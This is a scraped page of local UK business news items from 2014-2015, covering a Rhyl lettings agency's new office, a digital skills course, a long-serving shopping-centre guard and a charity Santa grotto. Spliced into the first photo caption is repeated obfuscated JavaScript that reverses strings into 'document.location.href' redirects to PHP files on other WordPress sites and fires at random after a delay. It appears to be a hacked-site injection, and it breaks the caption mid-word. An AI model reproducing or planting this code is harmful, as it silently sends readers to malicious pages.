Category: News

New jobs as lettings firm expands

Elwy staff have their new office in Bodfor Street, Rhyl officialy opened by Ann Jones AM .. Pictured is Jamie Andrews, Ann Jones AM, Angela Jones Managing Direc$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor at Elwy, Katie Wynne. and James Richards.

A growing lettings agency is also going to become an estate agent and start selling houses after opening a new office in Rhyl.

The news was announced when the Elwy Lettings premises in Bodfor Street were officially opened by Vale of Clwyd AM Ann Jones.

According to managing director Angela Jones, the estate agency service will create three new jobs.

One member of staff, Jamie Andrews, 23, has already been taken on and two more people will be taken on soon to work in the new office that’s undergone a £25,000 refurbishment.

The company operates across the counties of Flintshire, Denbighshire and Conwy.

It already had an office in Denbigh and has plans to open another branch in Conwy within the next 18 months.

Angela, a former Army Lance Corporal, became an estate agent 14 years ago, joined Elwy Estates four years ago and bought the lettings side of the firm two years ago.

She said: “We already manage a lot of Rhyl properties from our Denbigh office. I felt it was important to move back into Rhyl to ensure we offer the best possible service to both landlords and tenants.

“I’m grateful to Denbighshire County Council and their Local Investment Fund (LIF) for supporting us. We have had a LIF grant to help toward the £25,000 cost of refurbishing the Bodfor Street office to the highest spec.

“I’m really excited to be here in Rhyl and I want to see Elwy Lettings further expanding and providing property services into more areas across North Wales. It’s definitely exciting times.

“We will be selling houses and our competitive fees with no VAT and free valuations will be hard to beat.”

Ann Jones AM was delighted to see Elwy Lettings expanding into Rhyl and creating new jobs.

She said: “Elwy has a great reputation and I look forward to seeing further expansion in the future.

“Housing is an important topic for the Welsh Government especially in light of recent new legislation.

“We need responsible and professional landlord services and the record of Elwy Lettings gives me confidence that we will see a vibrant and buoyant rented sector across Denbighshire for people looking to rent properties.

“The expansion of Elwy Lettings is good news for jobs with three new roles being created.”

The firm is working with the Rhyl Football in the Community organisation to find the two additional members of the team.

Managing director Tracey Jones explained: “We work closely with Coleg Cambria seeking to help long-term unemployed young people get into work. I will be working closely with Angela to ensure she gets just the right people she needs to work here at Elwy Lettings.

“They will be two apprenticeship roles, initially on a 30 hour a week contract. Then, if everyone and in particular Angela, is happy the roles will become permanent.”

Denbighshire County Council’s Business Liaison Officer, Kirsty Davies, worked with Elwy Lettings to provide European grant funding under the LIF scheme.

She said: “This was money well spent and we feel we are investing in jobs. This project is all about business growth and in effect this European funding is going back to the community.”

Jamie Andrews is excited about starting a new career.

He said: ’I’m thrilled to have been taken on as a lettings agent. I have undergone training in all aspects of the business from viewings to dealing with internet enquires. I was working as a restaurant manager but felt I needed a career I could develop.

“It was clear to me Elwy Lettings is only going one way and that’s up. I really want to forge a new long-term career and I’m sure I have chosen the right career path and business for me.”

Thursday January 15th, 2015

—

News

—

Getting switched on to the digital marketplace in North East Wales

CADWYN CLWYD . Pictured (L/R) is Dr Les Pritchard, Chris Smith and Adam Bishop from Cadwyn Clwyd.

A campaign has been launched to get businesses in North East Wales switched on to the power of social media.

The Digital Clwyd pilot project was aimed at helping members of business groups and community organisations compete more effectively in the digital marketplace.

After attending the courses, one businessman in Llangollen says his Welsh gifts website has just enjoyed its busiest ever week.

Chris Smith was able to access the training as a member of the Llangollen Chamber of Trade and Tourism.

The courses were put on by the rural development agency, Cadwyn Clwyd, whose contribution came via the Rural Development Plan for Wales 2007-2013, which is funded by the European Agricultural Fund for Rural Development (EAFRD) and the Welsh Government.

According to Chris, whose company, Gifts from Wales Limited which encompasses Cottage Cards and Crafts, Cottage Tea Rooms and Cottage Cream and Candy, the internet was particularly useful for drumming up business outside the main tourist season.

He said: “Llangollen is very much a seasonal town, mainly from Easter through to September.

“We’ve got our own website which is www.giftsfromwales.com but we wanted to promote that even more and also through the use of social media, Facebook and Twitter.

“We’re selling to a world-wide marketplace so, especially during the winter period when it’s quieter in Llangollen, we want to try to increase the traffic for sales in the gift shop and promote our products.

“Social media has revolutionised retail. As a result we sell all over the world as far afield as Canada, Australia, Singapore and China.

“In the last few weeks we’ve found that orders online have increased quite significantly and we’ve just had our busiest week for online sales.

“The courses were extremely useful in helping me to understand social media a lot better.

“They gave us a lot of hints regarding different sites that produce advertising material for the businesses, such as business cards, flyers, posters and also help if you want to do your own web design, how to use Facebook efficiently and productively and also a lot of other sites that I hadn’t even heard of.

“By being a member of the Llangollen Chamber of Trade and Tourism it opens up these opportunities for these courses which have been brilliant for us and the others who attended.”

Organiser Sue Haygarth, who coordinated the courses on behalf of Cadwyn Clwyd, was delighted with the excellent take up for the courses which covered things like Facebook, Twitter, Instagram, building websites, email marketing along with search engine optimisation and online security.

She said: “We had a six-week window to deliver the 19 courses and we had over 180 attendances at those courses.

“Cadwyn Clwyd were aware that a lot of small businesses, micro enterprises who employ nine or less, really struggle to access training sometimes, either because they’re small, so there’s only a couple of people in the company, or because of their location.

“We know how important social media is becoming to business and growing business, interacting with other businesses and contacting customers, so Cadwyn put forward a project in rural Denbighshire that would assist these businesses to access the training they need.

“The best way to deliver to these very small businesses was deemed to be through networks and groups that were already there, like business groups, chambers of trade, tourism groups along with social enterprises, community businesses and community shops.

“Collectively, all these businesses are really very important to the local economy, so anything we can do to help those businesses and boost them to bring in more customers and more income for them, is really important.

“Cadwyn Clwyd has seen the benefit already and they’re talking to the Welsh Government about the doing more in future to help these very small micro enterprises which are isolated or working together because they are so important to the local economy.”

The tutor was IT expert Dr Les Pritchard, who runs a company called Neterix and is a lecturer at Bangor University’s School of Computer Science.

He said: “The aim was really to deliver some really attractive courses to local communities and businesses and to really fill that gap in what we thought was missing in the area.

“Lots of small business were coming along and saying they’d heard of these things but they didn’t know want to do with them and in some cases they were a little bit scared of using social media.

“It’s vitally important these days that businesses embrace these new possibilities. The first place people look now, if they’re looking for a business, is online. It’s a virtual shop window that brings people in.”

It was a sentiment echoed by David Davies, the Chair of Llangollen Chamber of Trade and Tourism, who said: “Any business that’s going to be successful has got to market themselves in every possible way.

“These courses helped business people move with the times and offered them on a plate how to engage with audiences across a range of media platforms.

“The members who have used the course have been very enthusiastic.”

Tuesday January 13th, 2015

—

News

—

Tamworth security guard clocks up 35 years with Ankerside Shopping Centre

Ankerside Shopping Centre security guard David Elliott is marking 35 years working at the Tamworth centre ? he worked there while it was still a building site. Pictured David Elliott (right) with centre manager Pete Barber (centre), and colleagues Jeff Wigley, Graham Robinson, Chris Bates, Lucy Armstrong, Gill Jones

Meeting sports stars Emlyn Hughes and Geoff Capes plus TV cop Lewis Collins is all in a day’s work for Ankerside Shopping Centre security guard David Elliott.

The celebrity ribbon-cutters are among the VIPs he’s welcomed during 35 years on patrol at the Tamworth shopping centre, which dates back to when it was still just a construction site on George Street.

Other highlights include ensuring The Queen’s safety when she opened the centre – which cost £8million – on June 6, 1980, with thousands of townsfolk turning out to see her.

“I was part of the team on crowd control when Her Majesty came to open the Ankerside but I only got a fleeting glimpse,” said David, who is now 63 and grandfather to nine.

He was one of the first to join the project, providing security for the development after spending several years in the building trade, and he has never looked back.

Covering the site over day and night shifts has also kept the dad-of-three active over his decades of service patrolling the 60 shops, car parks for 700 vehicles, slip roads, service areas and roof.

He said:  “I’ve been at Ankerside more than half my life now – I have never wanted to be stuck in an office so this job was perfect.

“I would have loved to know how many miles I must have walked over the years here. I live just a mile-and-a-half away and I come in every day on my push bike so that has kept me fit too.”

Brought up in Birmingham, David moved to the area as a 13-year-old and finished his schooling at Tamworth’s Mercian School before starting work at a builders’ merchants at the age of 15. When a change in ownership gave him the opportunity to look for something else he applied for the Ankerside job and has been there ever since.

He added: “You never get two days the same here, there’s always something different happening such as kids missing, keeping an eye on the crowds, fire drills and that sort of thing.”

Over the years at Ankerside, David has certainly seen some big differences – especially when the shopping centre doubled in size after in 1990.

Luckily, David has never had to deal with any major security incidents, but petty crimes such as shoplifting have seen him attend Crown Court three times and Magistrates’ Court at least six times.

As he approaches retirement age, David has considered putting his feet up and spending more time at home with wife Glenys, but has no plans to leave Ankerside just yet.

“Could I really sit at home twiddling my thumbs? Probably not! I really do enjoy it here and they can’t get rid of me. There isn’t a single person now who has been here longer than me and I’ll probably still be here marking my 40 years,” said David, who was given a watch by his colleagues to mark his long service.

Ankerside Shopping Centre operations manager Graham Robinson explained what a great asset to the centre David was.

He said: “He’s been here right from the very beginning and he’s still with us now, which is amazing.

“His experience and knowledge of the site is quite something and all of the lads we have here will ask him when they don’t know where things are or what to do.

“We have a key box here with about 150 keys in it and David will know exactly what every one of them is for. It’s great to have him in the team.”

Ankerside Shopping Centre was originally built by William Kendricks, as the overspill housing estates of the 1960s and 70s increased the town’s population. Tamworth Borough Council recognised the town was ‘undershopped’ and took the decision to invest £8m in building a state-of-the-art indoor retail centre.

It was built in two phases on land once occupied by Hamel’s mill and several small business and back gardens, between George Street and the river Anker.

When it first opened, the centre housed 35 retailers. The next decade saw further growth in the town and increased demand for shopping facilities and in 1990 work began on refurbishing the existing centre and extending it, almost doubling the capacity. Open daily, it is now home to 60 stores, from fashion, health and beauty to services and food and drink, and has more than 700 parking spaces.

More details at www.ankerside.co.uk

Monday January 5th, 2015

—

News

—

Panto stars help Santa Claus open his Christmas grotto at shopping centre

SWP-14-0673_03-3 ceidiog

TV star Arthur Bostrom and his fellow panto stars teamed up with Santa at a Lichfield shopping centre to raise money and lots of Christmas gifts for St Giles Hospice.

SWP-14-0673_05-5 ceidiog

The cast of Cinderella, which is being performed at Lichfield Garrick Theatre, were in full costume to meet Santa and help him open his grotto at the city’s Three Spires Shopping Centre.

The grotto is free but shoppers are encouraged to make a voluntary donation with every penny going to support the work of St Giles Hospice.

SWP-14-0673_07-7 ceidiog

In addition customers and visitors can leave a gift at the Grotto for children receiving care at St Giles Hospice.

SWP-14-0673_08-8 ceidiog

Three Spires Shopping Centre Manager Lisa Prokopiou said there was a great family atmosphere for the opening of Santa’s Christmas Grotto.

She said: “It really has been a wonderful day and so busy. Children have really enjoyed it and I think for many this really was the start of the countdown to the big day.

“We are so pleased with the grotto it is stunningly decorated and really has that special Christmas feel. We wanted to make it free so everyone who wanted to bring their child along to see Santa could.

“However, we also want to support the amazing work that goes on every day both at the hospice itself and around the area by the St Giles team. We know just how much St Giles Hospice means to so many people in and around Lichfield.

“So we decided, rather than charge for the grotto experience, we would allow customers and visitors to make a voluntary donation to the hospice if they felt they were able to.”

She added: “We are also inviting people to drop off Christmas gifts, which can be wrapped with a label indicting whether the gift is intended for a girl and boy and the approximate age the of the intended recipient.

“Lots of Three Spire businesses have indicated they will be donating presents and Ryman Stationary has already done so. I was also pleased the cast of Cinderella, who came along to support the opening if Santa’s Grotto, have also left gifts at the tree.”

SWP-14-0673_10-10 ceidiog

First in the queue to see Santa as his grotto opened was three-year-old Maxwell Butler who was with his mum Maria Orellana.

Maria of Longdon, near Lichfield, who is a Walsall community area midwife, says seeing Santa was definitely worth the wait.

She said: “Maxwell is getting really excited about Christmas. He loves Sponge Bob Square Pants and Spiderman so I’m looking for presents on those themes. The Grotto is fantastic, they have done such a good job and I love the idea of supporting St Giles Hospice rather than just paying to see Santa. It’s a brilliant idea and one I definitely support.

“I really like Santa’s big boots and costume. The whole experience really does make you feel Christmassy and excited.”

Maria, who is currently on maternity leave as she is expecting her second child next month, added: “My partner James and I will be having our own, slightly belated little Christmas gift. We know it’s another boy and we have already decided to call him James.”

The Willows Primary School, Lichfield, lunchtime supervisor Sandra Wheeler took her two children, Billy, 10, and Mary, nine, along to the opening of Santa’s grotto.

Sandra said: “There has been all sorts going on and the children have had a great time. The Grotto is amazing and it’s really good they are supporting St Giles.

“It certainly made us feel Christmassy and the fact the panto characters were in the shopping centre really added a bit of fun.

“I’m not sure what Billy and Mary asked Santa for but I do know Billy is hoping for some computer games while Mary is now really into fashion and clothes.”

Actor and singer Charlie Kendall, of Bromley, London, who plays the roles of Pierre and Gaston in Cinderella at the Lichfield Garrick Theatre joined in the fun with the rest of the panto cast as they helped Santa open his Grotto.

Charlie, 23, who studied at Bird College Sidcup where he received a diploma in musical theatre, says the whole cast had enjoyed a fantastic time.

He said: “Everyone is buzzing and we received an amazing reaction. It’s been fun helping Santa open his grotto and there has been some very excited children. It’s also been great for the cast to let people know about the panto.

“I’m really enjoying it in Lichfield. It’s so much calmer than London and I can’t believe how friendly and nice everyone is.”

St Giles Hospice Community Fundraiser Aaron Coleman said: “We would like to thank staff and shoppers at Three Spires for supporting us at this time of year. Every child that visits the grotto will be helping St Giles Hospice deliver high-quality care to local people living with cancer and other serious illnesses.

“We are also grateful to shoppers who bring along a gift; each one will help to brighten up the Christmas of a child currently receiving our care.”

For more information about Three Spires Shopping Centre visit www.threespireslichfield.com

For more information about St Giles Hospice visit www.stgileshospice.com

Tuesday December 23rd, 2014

—

News

—